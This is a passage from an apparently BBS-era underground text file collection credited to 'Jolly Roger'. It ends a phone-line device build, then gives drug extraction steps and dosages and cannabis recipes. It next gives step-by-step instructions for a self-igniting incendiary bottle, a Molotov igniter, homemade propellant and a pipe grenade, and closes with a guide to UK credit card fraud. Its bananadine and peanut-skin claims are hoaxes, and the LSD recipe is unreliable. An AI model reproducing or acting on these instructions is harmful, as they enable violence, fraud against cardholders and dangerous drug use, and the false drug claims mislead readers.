  18989.       |       v   |   |                       !___/\/\/\________!___/\/\/_!
  18990.       |      neg  |   |                       |    D2           |         |
  18991.       |    return |   |                       !_____|<__________!         |
  18992.       |     B1,B2 |   \                       |                 |         |
  18993.       |           |   /                       |    .____________!_.       |
  18994.       |           |   \R14                    |C12 |   TM1      2 |       |
  18995.       |           |   /                       !_||_!5            4!_______!
  18996.       |           |   \                       | || |              |       |
  18997.       |           |   |                       !____!1            8!_______!
  18998.       |           |   |                       |    |     7 6   3  |       |
  18999.       |           |   |                       |    !_____._.____._!       |
  19000.       |           |   |                       |          | |    |         |
  19001.       |           |   |                       |   C13    | |    |   R17   |
  19002.       |           |   |                       !___)|_____!_!____|__/\/\/__!
  19003.       |           |   |                       |                 |         |
  19004.       !___________|___!_______________________|_________________!         |
  19005.                   |   |                       |                           |
  19006.                   |   \                       |          C10              |
  19007.                   |   /R18                    !__________)|_______________!
  19008.                   |   \
  19009.                   |   /
  19010.                   |   |
  19011.                   !___O J1
  19012.                     sense output
  19013.  
  19014. Construction notes: Because the damned book just gave a picture instead of
  19015. step by step instructions, and I'll try to give you as much help as
  19016. possible. Note that all the parts that you will be using are clearly
  19017. labeled in the schematic. The perfboard, knobs, 'gator clips, etc are
  19018. optional. I do strongly suggest that you do use the board!!! It will make
  19019. wiring the components up much much easier than if you don't use it.
  19020.  The knob you can use to control the pot (R7). R7 is used to tune the IT so
  19021. that is sounds ok over the phone. (You get to determine what sounds good)
  19022. By changing the value of C13, you can change the amount of time that the
  19023. circuit will stay open (it cannot detect a hang up, so it works on a
  19024. timer.) A value of 100 micro Farads will increase the time by about 10
  19025. times.  The switch (S1) determines whether or not the unit is operational.
  19026. Closed is on. Open is off. The negative return is the negative terminals of
  19027. the battery!! The batteries will look something like this when hooked up:
  19028.  
  19029.   <-v_____.   .______.    ._____.   .____->
  19030.           |   |      |    |     |   |
  19031.  
  19032.  
  19033.         __!___!__    |    |   __!___!__
  19034.         | +   - |    !_/ _!   | +   - |
  19035.         |       |  switch ^   |       |
  19036.         | 9volts|         |   | 9volts|
  19037.         !_______! neg return  !_______!
  19038.  
  19039.  To hook this up to the phone line, there are three ways, depending upon
  19040. what type of jack you have. If it is the old type (non modular) then you
  19041. can just open up the wall plate and connect the wires from the transmitter
  19042. directly to the terminals of the phone.
  19043.  If you have a modular jack with four prongs, attach the red to the
  19044. negative prong (don't ask me which is which! I don't have that type of
  19045. jack... I've only seen them in stores), and the green to the positive
  19046. prong, and plug in. Try not to shock yourself...
  19047.  If you have the clip-in type jack, get double male extension cord (one
  19048. with a clip on each end), and chop off one clip. Get a sharp knife and
  19049. splice off the grey protective material. You should see four wires,
  19050. including one green and one red. You attach the appropriate wires from the
  19051. IT to these two, and plug the other end into the wall.
  19052.  
  19053. Getting the IT to work: If you happen to have a problem, you should attempt
  19054. to do the following (these are common sense rules!!) Make sure that you
  19055. have the polarity of all the capacitors right (if you used polarized
  19056. capacitors, that is). Make sure that all the soldering is done well and has
  19057. not short circuited something accidently (like if you have a glob touching
  19058. two wires which should not be touching.) Check for other short circuits.
  19059. Check to see if the battery is in right. Check to make sure the switch is
  19060. closed.
  19061.  If it still doesn't work, drop me a line on one of the Maryland or
  19062. Virginia BBSs and I'll try to help you out.
  19063.  
  19064. The sense output: Somehow or other, it is possible to hook something else
  19065. up to this and activate it by phone (like an alarm, flashing lights, etc.)
  19066.  
  19067. As of this writing, I have not tried to make one of these, but I will. If
  19068. you ±Ü±
  19069. ± Ü±actually get it working, leave me a note somewhere.
  19070.  
  19071. I sure hope all you people appreciate this.
  19072.  
  19073.       LSD                                    courtesy of the Jolly Roger
  19074.  
  19075.           I  think,  of  all the drugs on the black market today, LSD is
  19076.           the strangest. It is the most recent major  drug  to  come  to
  19077.           life  in  the psychedelic subculture. (Blah blah blah... let's
  19078.           get to the good stuff: How to make it in your kitchen!!)
  19079.  
  19080.           1) Grind up 150 grams of Morning Glory seeds or baby  Hawaiian
  19081.           wood rose seeds.
  19082.           2) In 130 cc. of petroleum ether, soak the seeds for two days.
  19083.           3) Filter the solution through a tight screen.
  19084.           4) Throw away the liquid, and allow the seed mush to dry.
  19085.           5)  For  two  days  allow  the mush to soak in 110 cc. of wood
  19086.           alcohol.
  19087.           6) Filter the solution again, saving the liquid  and  labeling
  19088.           it "1."
  19089.           7)  Resoak  the  mush  in 110 cc.  of  wood  alcohol  for  two
  19090.           days.
  19091.           8) Filter and throw away the mush.
  19092.  
  19093.  
  19094.           9) Add the liquid from the second soak to the solution labeled
  19095.           "1."
  19096.           10)  Pour  the  liquid  into  a  cookie  tray  and allow it to
  19097.           evaporate.
  19098.           11) When all of  the  liquid  has  evaporated,  a  yellow  gum
  19099.           remains. This should be scraped up and put into capsules.
  19100.  
  19101.                30 grams of Morning Glory seeds = 1 trip
  19102.                15 Hawaiian wood rose seeds = 1 trip
  19103.  
  19104.           Many  companies,  such as Northop-King have been coating their
  19105.           seeds with a toxic chemical, which is poison. Order seeds from
  19106.           a wholesaler, as it is much safer and cheaper.  Hawaiian  wood
  19107.           rose seeds can be ordered directly from:
  19108.  
  19109.                Chong's Nursery and Flowers
  19110.                P.O. Box 2154
  19111.                Honolulu, Hawaii
  19112.  
  19113.           LSD DOSAGES
  19114.           -----------
  19115.  
  19116.           The  basic dosages of acid vary according to what kind of acid
  19117.           is available and what medium of ingestion is used. Chemically,
  19118.           the potency of LSD-25 is measured in micrograms, or  mics.  If
  19119.           you're  chemically  minded  or  making  your  own  acid,  then
  19120.           computing the number of micrograms is very important.  Usually
  19121.           between  500  and  800  mics  is  plenty  for  an 8 hour trip,
  19122.           depending on the quality of the acid, of course. I have  heard
  19123.           of people taking as much as 1,500-2,000 mics. This is not only
  19124.           extremely dangerous, it is extremely wasteful.
  19125.  
  19126.           LSD  comes  packaged  in many different forms. The most common
  19127.           are listed below:
  19128.                1) The brown spot, or a piece of paper with a dried  drop
  19129.                of  LSD  on it, is always around. Usually one spot equals
  19130.                one trip.
  19131.                2) Capsuled acid is very tricky, as the cap can be almost
  19132.                any color, size, or potency. Always ask what the acid  is
  19133.                cut  with,  as  a lot of acid is cut with either speed or
  19134.                strychnine. Also note dosage.
  19135.                3) Small white or colored  tablets  have  been  known  to
  19136.                contain acid, but, as with capsuled acid, it's impossible
  19137.                to tell potency, without asking.
  19138.  
  19139.  
  19140.           (from the Anarchist's Cookbook. Typed up by Jolly Roger)
  19141.  
  19142.  
  19143.  
  19144.  
  19145.       Bananas                                courtesy of the Jolly Roger
  19146.  
  19147.           Believe  it  or  not,  bananas  do contain a small quantity of
  19148.           _Musa Sapientum bananadine_, which is  a  mild,  short-lasting
  19149.           psychedelic.  There  are much easier ways of getting high, but
  19150.           the great advantage to this method is that bananas are legal.
  19151.  
  19152.  
  19153.  
  19154.           1) Obtain 15 lbs. of ripe yellow bananas.
  19155.           2) Peel all 15 lbs. and eat the fruit. Save the peels.
  19156.           3) With a sharp knife, scrape off the insides of the peels and
  19157.           save the scraped material.
  19158.           4) Put all of the scraped material in  a  large  pot  and  add
  19159.           water.  Boil  for  three to four hours until it has attained a
  19160.           solid paste consistency.
  19161.           5) Spread this paste on cookie sheets, and dry in an over  for
  19162.           about  20  minutes  to a half hour. This will result in a fine
  19163.           black powder. Makes about  one  pound  of  bananadine  powder.
  19164.           Ususally one will feel the effects of bananadine after smoking
  19165.           three or four cigarettes.
  19166.  
  19167.                               Table of Weights
  19168.  
  19169.                Pounds         Ounces         Grams          Kilos
  19170.                1              16             453.6          0.4536
  19171.                0.0625         1              28.35          0.0283
  19172.                               0.0352         1              0.001
  19173.                2.205          35.27          1,000          1
  19174.  
  19175.  
  19176.           (from the Anarchist's Cookbook typed by Jolly Roger)
  19177.  
  19178.  
  19179.       Yummy Marihuana Recipes                courtesy of the Jolly Roger
  19180.  
  19181.           Acapulco Green
  19182.           --------------
  19183.  
  19184.       3 ripe avocados
  19185.       1/2 cup chopped onions
  19186.       2 teaspoons chili powder
  19187.       3 tablespoons wine vinegar
  19188.       1/2 cup chopped marahuana (grass)
  19189.  
  19190.       Mix  the  vinegar,  grass,  and  chili powder together and let the
  19191.       mixture stand for one hour. Then add avocados and onions and  mash
  19192.       it all together. It can be served with tacos or as a dip.
  19193.  
  19194.           Pot Soup
  19195.           --------
  19196.  
  19197.       1 can condensed beef broth
  19198.       3 tablespoons grass
  19199.       3 tablespoons lemon juice
  19200.       1/2 can water
  19201.       3 tablespoons chopped watercress
  19202.  
  19203.       Combine  all  ingredients  in  a saucepan and bring to a boil over
  19204.       medium heat. Place in a  refrigerator  for  two  to  three  hours,
  19205.       reheat, and serve.
  19206.  
  19207.           Pork and Beans and Pot
  19208.           ----------------------
  19209.  
  19210.       1 large can (1 lb. 13 oz.) pork and beans
  19211.       1/2 cup grass
  19212.  
  19213.  
  19214.       4 slices bacon
  19215.       1/2 cup light molasses
  19216.       1/2 teaspoon hickory salt
  19217.       3 pineapple rings
  19218.  
  19219.       Mix  together  in a casserole, cover top with pineapple and bacon,
  19220.       bake at 350 degrees for about 45 minutes. Serves about six.
  19221.  
  19222.           The Meat Ball
  19223.           -------------
  19224.  
  19225.       1 lb. hamburger
  19226.       1/4 cup chopped onions
  19227.       1 can cream of mushroom soup
  19228.       1/4 cup bread crumbs
  19229.       3 tablespoons grass
  19230.       3 tablespoons India relish
  19231.  
  19232.       Mix it all up and shape into meat balls. Brown in frying  pan  and
  19233.       drain. Place in a casserole with soup and 1/2 cup water, cover and
  19234.       cook over low heat for about 30 minutes. Feeds about four people.
  19235.  
  19236.           Spaghetti Sauce
  19237.           ---------------
  19238.  
  19239.       1 can (6 oz.) tomato paste
  19240.       2 tablespoons olive oil
  19241.       1/2 cup chopped onions
  19242.       1/2 cup chopped grass
  19243.       1 pinch pepper
  19244.       1 can (6 oz.) water
  19245.       1/2 clove minced garlic
  19246.       1 bay leaf
  19247.       1 pinch thyme
  19248.       1/2 teaspoon salt
  19249.  
  19250.       Mix  in large pot, cover and simmer with frequent stirring for two
  19251.       hours. Serve over spaghetti.
  19252.  
  19253.           Pot Loaf
  19254.           --------
  19255.  
  19256.       1 packet onion soup mix
  19257.       1 (16 oz.) can whole peeled tomatoes
  19258.       1/2 cup chopped grass
  19259.       2 lbs. ground beef or chicken or turkey
  19260.       1 egg
  19261.       4 slices bread, crumbled
  19262.  
  19263.       Mix all ingredients and shape into a loaf. Bake for  one  hour  in
  19264.       400-degree oven. Serves about six.
  19265.  
  19266.           Chili Bean Pot
  19267.           --------------
  19268.  
  19269.       2 lbs. pinto beans
  19270.       1 lb. bacon, cut into two-inch sections
  19271.       2 cups red wine
  19272.  
  19273.  
  19274.       4 tablespoons chili powder
  19275.       1/2 clove garlic
  19276.       1 cup chopped grass
  19277.       1/2 cup mushrooms
  19278.  
  19279.       Soak  beans  overnight in water. In a lagre pot pour boiling water
  19280.       over beans and simmer for at least an hour, adding more  water  to
  19281.       keep  beans covered. Now add all other ingredients and continue to
  19282.       simmer for another three hours. Salt to taste. Serves about ten.
  19283.  
  19284.           Bird Stuffing
  19285.           -------------
  19286.  
  19287.       5 cups rye bread crumbs
  19288.       2 tablespoons poultry seasoning
  19289.       1/2 cup each of raisins and almonds
  19290.       1/2 cup celery
  19291.       1/3 cup chopped onions
  19292.       3 tablespoons melted butter
  19293.       1/2 cup chopped grass
  19294.       2 tablespoons red wine
  19295.  
  19296.       Mix it all together, and then stuff it in.
  19297.  
  19298.           Apple Pot
  19299.           ---------
  19300.  
  19301.       4 apples (cored)
  19302.       1/2 cup brown sugar
  19303.       1/4 cup water
  19304.       4 cherries
  19305.       1/3 cup chopped grass
  19306.       2 tablespoons cinnamon
  19307.  
  19308.       Powder the grass in a blender, then mix grass with sugar and water.
  19309.       Stuff cores with this paste. Sprinkle apples  with  cinnamon,  and
  19310.       top with a cherry. Bake for 25 minutes at 350 degrees.
  19311.  
  19312.           Pot Brownies
  19313.           ------------
  19314.  
  19315.       1/2 cup flour
  19316.       3 tablespoons shortening
  19317.       2 tablespoons honey
  19318.       1 egg (beaten)
  19319.       1 tablespoon water
  19320.       1/2 cup grass
  19321.       pinch of salt
  19322.       1/4 teaspoon baking powder
  19323.       1/2 cup sugar
  19324.       2 tablespoons corn syrup
  19325.       1 square melted chocolate
  19326.       1 teaspoon vanilla
  19327.       1/2 cup chopped nuts
  19328.  
  19329.       Sift  flour,  baking  powder,  and  salt together. Mix shortening,
  19330.       sugar, honey, syrup, and egg. Then blend in  chocolate  and  other
  19331.       ingredients, and mix well. Spread in an 8-inch pan and bake for 20
  19332.  
  19333.  
  19334.       minutes ate 350 degrees.
  19335.  
  19336.           Banana Bread
  19337.           ------------
  19338.  
  19339.       1/2 cup shortening
  19340.       2 eggs
  19341.       1 teaspoon lemon juice
  19342.       3 teaspoons baking powder
  19343.       1 cup sugar
  19344.       1 cup mashed bananas
  19345.       2 cups sifted flour
  19346.       1/2 cup chopped grass
  19347.       1/2 teaspoon salt
  19348.       1 cup chopped nuts
  19349.  
  19350.       Mix the shortening and sugar, beat eggs, and add to mixture.
  19351.       Seperately  mix  bananas  with  lemon  juice  and  add to the first
  19352.       mixture. Sift flour, salt, and baking powder  together,  then  mix
  19353.       all ingredients together. Bake for 1 1/4 hours at 375 degrees.
  19354.  
  19355.           Sesame Seed Cookies
  19356.           -------------------
  19357.  
  19358.       3 oz. ground roast sesame seeds
  19359.       3 tablespoons ground almonds
  19360.       1/4 teaspoon nutmeg
  19361.       1/4 cup honey
  19362.       1/2 teaspoon ground ginger
  19363.       1/4 teaspoon cinnamon
  19364.       1/4 oz. grass
  19365.  
  19366.       Toast  the  grass  until  slightly  brown  and  then crush it in a
  19367.       mortar. Mix  crushed  grass  with  all  other  ingredients,  in  a
  19368.       skillet. Place skillet over low flame and add 1 tablespoon of salt
  19369.       butter.  Allow  it  to  cook.  When cool, roll mixture into little
  19370.       balls and dip them into the sesame seeds.
  19371.  
  19372.       If you happen to be in the country at a place where pot  is  being
  19373.       grown,  here's  one  of  the  greatest recipes you can try. Pick a
  19374.       medium-sized leaf off of the marihuana plant and dip it into a cup
  19375.       of drawn butter, add salt, and eat.
  19376.  
  19377.                            ---------------Jolly Roger
  19378.                         (from the Anarchist's Cookbook!)
  19379.  
  19380.  
  19381.  
  19382.       Peanuts                                by the Jolly Roger
  19383.  
  19384.  
  19385.       Try this sometime when you are bored!
  19386.  
  19387.       1) Take one pound of raw peanuts (not roasted!)
  19388.  
  19389.       2) Shell them, saving the skins and discarding the shells.
  19390.  
  19391.       3) Eat the nuts.
  19392.  
  19393.  
  19394. ç      4) Grind up the skins and roll them into a cigarette, and smoke!
  19395.  
  19396.       You'll have fun, believe me! -------------Jolly Roger
  19397.  
  19398.  
  19399.       Chemical Fire Bottle                        by the Jolly Roger
  19400.  
  19401.       This incendiary bottle is self-igniting on target impact.
  19402.  
  19403.       Materials Required
  19404.       ------------------
  19405.                                How Used               Common Source
  19406.  
  19407.       Sulphuric Acid           Storage Batteries      Motor Vehicles
  19408.                                Material Processing    Industrial Plants
  19409.  
  19410.       Gasoline                 Motor Fuel             Gas Station or
  19411.                                                       Motor Vehicles
  19412.  
  19413.       Potassium Chlorate       Medicine               Drug Stores
  19414.  
  19415.       Sugar                    Sweetening Foods       Food Store
  19416.  
  19417.       Glass bottle with stopper (roughly 1 quart size)
  19418.       Small Bottle or jar with lid.
  19419.       Rag or absorbant paper (paper towels, newspaper)
  19420.       String or rubber bands
  19421.  
  19422.       Procedure:
  19423.       ---------
  19424.  
  19425.       1)  Sulphuric  Acid MUST be concentrated. If battery acid or other
  19426.       dilute acid is used, concentrate it by boiling until  dense  white
  19427.       fumes  are  given  off.  Container  used  to  boil  should  be  of
  19428.       enamel-ware or oven glass.
  19429.  
  19430.       CAUTION: Sulphuric Acid will burn skin and  destroy  clothing.  If
  19431.       any is spilled, wash it away with a large quantity of water. Fumes
  19432.       are also VERY dangerous and should not be inhaled.
  19433.  
  19434.       2)   Remove  the  acid  from  heat  and  allow  to  cool  to  room
  19435.       temperature.
  19436.  
  19437.       3) Pour gasoline into the large  (1  quart)  bottle  until  it  is
  19438.       approximately 1/3 full.
  19439.  
  19440.       4)  Add  concentrated  sulphuric acid to gasoline slowly until the
  19441.       bottle is filled to within 1" to 2" from top. Place the stopper on
  19442.       the bottle.
  19443.  
  19444.       5) Wash the outside of the bottle thoroughly with clear water.
  19445.  
  19446.       CAUTION: If this is not done, the fire bottle may be dangerous  to
  19447.       handle during use!
  19448.  
  19449.       6)  Wrap a clean cloth or several sheets of absorbant paper around
  19450.       the outside of the bottle. Tie with string or fasten  with  rubber
  19451.       bands.
  19452.  
  19453.  
  19454. ç      7)  Dissolve 1/2 cup (100 grams) of potassium chlorate and 1/2 cup
  19455.       (100 grams) of sugar in one cup (250 cc) of boiling water.
  19456.  
  19457.       8) Allow the solution to cool, pour into the small bottle and  cap
  19458.       tightly.  The  cooled  solution should be approx. 2/3 crystals and
  19459.       1/3 liquid. If there is more than this,  pour  off  excess  before
  19460.       using.
  19461.  
  19462.       CAUTION: Store this bottle seperately from the  other bottle!
  19463.  
  19464.       How To Use:
  19465.       ----------
  19466.  
  19467.       1)  Shake the small bottle to mix contents and pour onto the cloth
  19468.       or paper around the large bottle. Bottle can be used wet or  after
  19469.       solution is dried. However, when dry, the sugar-Potassium chlorate
  19470.       mixture  is very sensitive to spark or flame and should be handled
  19471.       accordingly.
  19472.  
  19473.       2) Throw or launch the bottle. When the bottle  breaks  against  a
  19474.       hard surface (target) the fuel will ignite.
  19475.  
  19476.                          ----------------Jolly Roger
  19477.  
  19478.  
  19479.       Igniter from Book Matches                     by the Jolly Roger
  19480.  
  19481.           This  is  a  hot  igniter made from paper book matches for use
  19482.       with molotov cocktail and other incendiaries.
  19483.  
  19484.       Material Required:
  19485.       -----------------
  19486.  
  19487.       Paper book matches
  19488.       Adhesive or friction tape
  19489.  
  19490.       Procedure:
  19491.       ---------
  19492.  
  19493.       1) Remove the staple(s) from match book and seperate matches  from
  19494.       cover.
  19495.  
  19496.       2) Fold and tape one row of matches (fold in thirds)
  19497.  
  19498.       3) Shape the cover into a tube with striking surface on the inside
  19499.       and  tape.  Make sure the folder cover will fit tightly around the
  19500.       taped match heads. Leave cover open at opposite end for  insertion
  19501.       of the matches.
  19502.  
  19503.       4)  Push the taped matches into the tube until the bottom ends are
  19504.       exposed about 3/4 in. (2 cm)
  19505.  
  19506.       5) Flatten and fold the open end of the tube so that it laps  over
  19507.       about 1 in. (2-1/2 cm); tape in place.
  19508.  
  19509.       Use with a Molotov Cocktail:
  19510.       ---------------------------
  19511.  
  19512.  
  19513.  
  19514.       1)  Tape  the  "match  end  tab" of the igniter to the neck of the
  19515.       molotov cocktail.
  19516.  
  19517.       2) Grasp the "cover and  tab"  and  pull  sharply  or  quickly  to
  19518.       ignite.
  19519.  
  19520.       General Use:
  19521.       -----------
  19522.  
  19523.       The  book  match igniter can be used by itself to ignite flammable
  19524.       liquids, fuse cords, and similar items requiring hot ignition.
  19525.  
  19526.       CAUTION: Store matches and  completed  igniters  in  moistureproof
  19527.       containers  such  as  rubber  or plastic bags until ready for use.
  19528.       Damp or wet paper book matches will not ignite.
  19529.  
  19530.                      --------------Jolly Roger
  19531.  
  19532.       "Red or White Powder" Propellant            by the Jolly Roger
  19533.  
  19534.           "Red or White Powder" Propellant may be prepared in a  simple,
  19535.       safe  manner.  The  formulation  described  below  will  result in
  19536.       approximately 2 1/2  pounds  of  powder.  This  is  a  small  arms
  19537.       propellant  and  should  only  be  used  in  weapons  with 1/2 in.
  19538.       diameter or less (but not pistols!).
  19539.  
  19540.       Material Required:
  19541.       -----------------
  19542.  
  19543.       Heat Source (Kitchen Stove or open fire)
  19544.       2 gallon metal bucket
  19545.       Measuring cup (8 ounces)
  19546.       Wooden spoon or rubber spatula
  19547.       Metal sheet or aluminum foil (at least 18 in. sq.)
  19548.       Flat window screen (at least 1 foot square)
  19549.       Potassium Nitrate (granulated) 2-1/3 cups
  19550.       White sugar (granulated) 2 cups
  19551.       Powdered ferric oxide (rust) 1/8 cup (if available)
  19552.       Clear water, 1-1/2 cups
  19553.  
  19554.       Procedure:
  19555.       ---------
  19556.  
  19557.       1) Place the sugar, potassium nitrate, and water  in  the  bucket.
  19558.       Heat  with  a low flame, stirring occasionally until the sugar and
  19559.       potassium nitrate dissolve.
  19560.  
  19561.       2) If available, add the ferric  oxide  (rust)  to  the  solution.
  19562.       Increase the flame under the mixture until it boils gently.
  19563.  
  19564.       NOTE: The mixture will retain the rust coloration.
  19565.  
  19566.       3) Stir and scrape the bucket sides occasionally until the mixture
  19567.       is  reduced  to  one  quarter  of  its  original volume, then stir
  19568.       continuously.
  19569.  
  19570.       4) As the water evaporates, the mixture will become thicker  until
  19571.       it  reaches the consistency of cooked breakfast cereal or homemade
  19572.  
  19573.  
  19574.       fudge. At this stage of thickness, remove the bucket from the heat
  19575.       source, and spread the mass on the metal sheet.
  19576.  
  19577.       5) While the material cools, score it with a spoon or  spatula  in
  19578.       crisscrossed furrows about 1 inch apart.
  19579.  
  19580.       6)  Allow the material to dry, preferably in the sun. As it dries,
  19581.       resore it accordingly (about every 20 minutes) to aid drying.
  19582.  
  19583.       7) When the material has dried to a point  where  it  is moist and
  19584.       soft  but  not  sticky to the touch, place a small spoonful on the
  19585.       screen. Rub the material back and forth against  the  screen  mesh
  19586.       with  spoon  or other flat object until the material is granulated
  19587.       into small worm-like particles.
  19588.  
  19589.       8) After granulation, return the material to the sun to  allow  to
  19590.       dry completely.
  19591.  
  19592.              ----------------Jolly Roger
  19593.  
  19594.  
  19595.       Pipe Hand Grenade                           by the Jolly Roger
  19596.  
  19597.           Hand  Grenades  can  be  made  from  a piece of iron pipe. The
  19598.       filler  can  be  of  plastic  or  granular   military   explosive,
  19599.       improvised  explosive,  or  propellant  from shotgun or small arms
  19600.       munition.
  19601.  
  19602.       Material Required:
  19603.       -----------------
  19604.  
  19605.       Iron Pipe, threaded ends, 1-1/2" to 3" diameter, 3" to 8" long.
  19606.       Two (2) iron pipe caps
  19607.       Explosive or propellant
  19608.       Nonelectric blasting cap (Commercial or military)
  19609.       Fuse cord
  19610.       Hand Drill
  19611.       Pliers
  19612.  
  19613.       Procedure:
  19614.       ---------
  19615.  
  19616.       1) Place blasting cap on one end  of  fuse  cord  and  crimp  with
  19617.       pliers.
  19618.  
  19619.       NOTE: To find out how long the fuse cord should be, check the time
  19620.       it takes a known length to burn. If 12 inches burns in 30 seconds,
  19621.       a 6 inch cord will ignite the grenade in 15 seconds.
  19622.  
  19623.       2)  Screw  pipe  cap  to one end of the pipe. Place fuse cord with
  19624.       blasting cap into the opposite end so that  the  blasting  cap  is
  19625.       near the center of the pipe.
  19626.  
  19627.       NOTE:  If  plastic  explosive  is  to  be  used,  fill pipe BEFORE
  19628.       inserting blasting cap. Push a round stick into the center of  the
  19629.       explosive to make a hole and then insert the blasting cap.
  19630.  
  19631.       3)  Pour explosive or propellant into pipe a little bit at a time.
  19632.  
  19633.  
  19634.       Tap the base of the pipe frequently to settle filler.
  19635.  
  19636.       4) Drill a hole in the center of  the  unassembled  pipe  caplarge
  19637.       enough for the fuse cord to pass through.
  19638.  
  19639.       5)  Wipe  pipe  threads  to  remove any filler material. Slide the
  19640.       drilled pipe cap over the fuse and screw handtight onto the pipe.
  19641.  
  19642.       Ready to go!
  19643.  
  19644.                      --------------Jolly Roger
  19645.  
  19646.  
  19647. U.K. CREDIT CARD FRAUD - 22/10/90 - Written by CREDITMAN
  19648.  
  19649. U.K. credit card fraud is a lot  easier  than over in the States.  The
  19650. same basic 3 essentials are needed -
  19651.  
  19652.           1...A safehouse.
  19653.           2...Credit card numbers with Xp date and address.
  19654.           3...Good suppliers of next day delivery goods.
  19655.  
  19656. 1...The Safehouse
  19657. The safehouse should be on the ground floor, so as not to piss off
  19658. the delivery man when he comes  to  drop off your freshly stolen gear.
  19659. If he has to go up 10 flights in  a complete dive and some 14 year old
  19660. kid signs for an A2000 then he's gonna wonder!  Make sure there are no
  19661. nosey neighbours, a good area is one  full of yuppies 'cos they all go
  19662. to work during daytime.  Safehouses  are  usually obtained by paying a
  19663. month's rent in  advance  or  putting  down  a  deposit  of say, ≡  ≡200.
  19664. Either that or break into a place and use that.
  19665.  
  19666. 2...Credit Card Numbers.
  19667. The card number, expiry  date,  start  date  (if  possible), full name
  19668. (including middle inital), phone number and full address with postcode
  19669. are ideal.  If you can  only  get  the  sirname,  and no postcode, you
  19670. shouldn't have any real hassle.  Just  say  you moved recently to your
  19671. new address.  Phone number is handy, if it just rings and rings but if
  19672. it doesn't, then make  sure  it's  ex-directory.   You CANNOT get away
  19673. with giving them a bullshit  phone  number.  Some fussy companies want
  19674. phone numbers just to cross-check  on  CARDNET  but generally it's not
  19675. needed.  To recap, here's a quick check-list...
  19676.  
  19677.  
  19678.              1.Card number and Xpiry date.
  19679.              2.Name and address of card holder.
  19680.              3.First name/initials (OPTIONAL)
  19681.              4.Start date (OPTIONAL)
  19682.              5.Postcode (OPTIONAL)
  19683.              6.Phone number (OPTIONAL)
  19684.  
  19685. If you have all 6, then you  shouldn't have any hassle.  Start date is
  19686. the rarest item you could  be  asked  for,  postcode and initals being
  19687. more common.  If you are missing 3-6 then you need one helluva smooth-
  19688. talking bastard on the phone line!!!!
  19689.  
  19690. 3...The Ordering
  19691. Not everyone can order ≡  ≡1000's of stuff  - it's not easy.  You have to
  19692.  
  19693.  
  19694. be cool, smooth and  have  some  good  answers  to their questions.  I
  19695. advise that you only order up to ≡  ≡500 worth of stuff in one go, but if
  19696. you have details 1-6 and the phone number will NOT be answered from 9-
  19697. 5.30 P.M. then go up to  ≡  ≡1000  (make  sure  it's a GOLD card!).  When
  19698. getting ready to order make sure you  have at least 3 times the amount
  19699. of suppliers you need e.g.if you want to card 5 hard-drives, make sure
  19700. you have 15 suppliers.  A lot of  the time, they are either out stock,
  19701. can't do next day delivery or won't deliver to a different address.
  19702. Quick check list of what you must ask before handing over number -
  19703.  
  19704.        1.Next day delivery, OK?
  19705.        2.Ordered to different address to card, OK?
  19706.        3.Do you have item in stock (pretty obvious, eh?)
  19707.  
  19708. Make sure you ask  ALL  of  these  questions  before handing over your
  19709. precious number.
  19710.  
  19711. Excuses...
  19712. Usual excuses for a  different  address  are  that  it's  a present or
  19713. you're on business here for the  next  5  weeks etc.  Any old bullshit
  19714. why it won't go to the proper address.
  19715.  
  19716. WARNING!*******Invoices!*******WARNING!
  19717. Invoices are sometimes sent out  with  the  actual parcel but they are
  19718. also sent out to the  card  owners  (why  do  you  think they need the
  19719. address for?) so using a safehouse for more than 2 days is risky.  A 1
  19720. day shot is safe, if they catch  on then they'll stop the goods before
  19721. getting a search warrant.
  19722.  
  19723. Credit Limits...
  19724. Limits on cards reach from ≡  ≡500 to  ≡  ≡4000 on Gold cards.  Your average
  19725. card will be about ≡  ≡1000-≡  ≡1500.  It takes  a  while to build up a good
  19726.  
  19727. credit rating in order to have large  limits so don't think every card
  19728. will hold 12 IBM 386's!  Visa  and  Access  are always used - American
  19729. Xpress etc. are USELESS.
  19730.  
  19731.          Access = Eurocard, Mastercard (begins with 5)
  19732.          Visa = (begins with 4, 16 digit is a Gold)
  19733.  
  19734. A general rule is, always  confirm  an  order  to  make sure credit is
  19735. cleared.  As the month goes on, credit is  used up - the bad times are
  19736. from 27th - 3rd which is  when  all  the  bills come in.  Best time to
  19737. card is around 11th or 12th, when  the  poor guy has paid off his last
  19738. bill so you can run up a new one (he, he, he!).
  19739.  
  19740. Ideal items to card...
  19741.  
  19742. The best stuff is always computer hard-ware as it's next-day.  Amigas,
  19743. ST's, PC's -  anything  really.   Blank  discs  are  a  waste of time,
  19744. they're too heavy.  Xternal drives,  monitors  - good stuff basically.
  19745. Don't  order  any  shit   like   VCR's,  hi-fi,  video-cameras,  music
  19746. keyboards, computer software, jewerely or anything under ≡  ≡300.  You'll
  19747. find the listed items  are  difficult  to  get  next  day delivery and
  19748. usually won't deliver to a  different  address - bastards, eh?  You're
  19749. wasting your time with little items under ≡  ≡300, try to keep deliveries
  19750. under 10 a day.
  19751.  
  19752.  
  19753.  
  19754. The drop....
  19755. Two ways of doing the drop
  19756.  
  19757.      1.Sign for all the gear (make  sure you're there between 9.00 and
  19758. 5.30 P.M.)
  19759.  
  19760.      2.Don't turn up till around 6.30  P.M.  and collect all the cards
  19761. that the delivery man has left.  These usually say 'you were out at XX
  19762. time so could you please  arrange  new  time  for  delivery or pick up
  19763. from our depot'.  In that case, piss off  to the depot and get all the
  19764. gear (need a big car!).
  19765.  
  19766. Remember, carding is ILLEGAL  kiddies,  so  don't get caught.
  19767. ± £±± ╗±
  19768.